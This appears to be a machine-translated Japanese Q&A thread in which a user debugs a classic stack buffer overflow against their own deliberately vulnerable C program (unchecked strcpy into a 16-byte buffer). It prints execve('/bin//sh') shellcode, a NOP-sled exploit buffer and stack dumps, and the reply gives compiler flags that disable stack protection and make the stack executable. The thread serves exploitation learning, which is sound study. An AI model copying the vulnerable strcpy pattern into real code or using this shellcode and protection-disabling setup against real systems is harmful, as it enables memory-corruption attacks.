web-dev-qa-db-ja.com

バッファオーバーフローのテストに関する問題

私は自分のコンピューターで実験しているので、バッファオーバーフローをテストするためにCで脆弱なプログラムを作成しました。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int check_password(char *password){
    int retval = 0;
    char possible_password_1[16] = "possiblepasswrd";
    char possible_password_2[16] = "drwssapelbissop";
    char user_input_password[16];

    strcpy(user_input_password, password);

    if(!strcmp(possible_password_1, user_input_password))
        retval = 1;

    if(!strcmp(possible_password_2, user_input_password))
        retval = 2;

    return retval;
}

int main(int argc, char *argv[]){
    if(argc < 2){
        printf("Not enough arguments\n");
        return -1;
    }

    int correct = check_password(argv[1]);
    if(correct)
        printf("CORRECT PASSWORD\n");
    else
        printf("INCORRECT PASSWORD\n");

    return 0;
}

あまりよく書かれていませんが、脆弱性がたくさんあります。

パスワードが間違っていても、プログラムに「正しいパスワード」を表示させるために、retvalを上書きすることができました。ただし、シェルコードをテストしたいと思います:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

しかし、私はそれを実行させることができません。セグメンテーション違反が発生します。

Strcpyを呼び出す直前のcheck_password関数のスタックは次のとおりです。

0xbffff30c: 0x00000000  0xb7fff000  0xb7fff918  0xbffff330
0xbffff31c: 0x73777264  0x65706173  0x7369626c  0x00706f73
0xbffff32c: 0x73736f70  0x656c6269  0x73736170  0x00647277
0xbffff33c: 0x00000000  0x00008000  0xb7fb1000  0xbffff378
0xbffff34c: 0x08048523  0xbffff5c3  0x00000003  0xb7e30740

とりわけ、0x08048523が表示されます。これは、mainでcheck_passwordを呼び出した直後の命令を指しているため、リターンポインタのようです。

0x0804851e <+59>:   call   0x804844b <check_password>
0x08048523 <+64>:   add    esp,0x10

したがって、私はこれを中心にエクスプロイトバッファを構築することにしました。

00000000: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
00000010: 90 90 90 90 90 90 90 90 90 31 c0 50 68 2f 2f 73  .........1.Ph//s
00000020: 68 68 2f 62 69 6e 89 e3 50 53 89 e1 b0 0b cd 80  hh/bin..PS......
00000030: c4 f5 ff bf c4 f5 ff bf c4 f5 ff bf c4 f5 ff bf  ................
00000040: c4 f5 ff bf                                      ....

0xbffff5c4*argv[1]のアドレスであり、シェルコードが含まれています。

0xbffff5c4: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff5cc: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff5d4: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff5dc: 0x31    0xc0    0x50    0x68    0x2f    0x2f    0x73    0x68
0xbffff5e4: 0x68    0x2f    0x62    0x69    0x6e    0x89    0xe3    0x50

上書きが発生すると、mainの次の命令へのアドレスが次のアドレスで上書きされます。

前:

0xbffff30c: 0x00000000  0xb7fff000  0xb7fff918  0xbffff330
0xbffff31c: 0x73777264  0x65706173  0x7369626c  0x00706f73
0xbffff32c: 0x73736f70  0x656c6269  0x73736170  0x00647277
0xbffff33c: 0x00000000  0x00008000  0xb7fb1000  0xbffff378
0xbffff34c: 0x08048523  0xbffff5c3  0x00000003  0xb7e30740

後:

0xbffff30c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff31c: 0x90909090  0x90909090  0x50c03190  0x732f2f68
0xbffff32c: 0x622f6868  0xe3896e69  0xe1895350  0x80cd0bb0
0xbffff33c: 0xbffff5c4  0xbffff5c4  0xbffff5c4  0xbffff5c4
0xbffff34c: 0xbffff5c4  0xbffff500  0x00000003  0xb7e30740

私の知る限り、シェルコードは関数が戻るとすぐに実行されるはずです。ただし、これは当てはまりません。

Program received signal SIGSEGV, Segmentation fault.
0xbffff5c4 in ?? ()

ここで何を間違えたのかよくわかりません。誰かが私を正しい方向に向けてくれませんか?

ありがとうございました。

1
Yapoz

スタック保護を無効にするコードをコンパイルする必要があると思います。たとえば、次のようにしてみてください。

gcc -g -fno-stack-protector -zexecstack -o vuln vuln.c

-g(デバッグ情報を有効にする)

-f no-stack-protector(バッファオーバーフローをチェックするための追加コードを無効にする)

-z execstack(スタックを実行可能にします...シェルコードがある場所)

1
nemux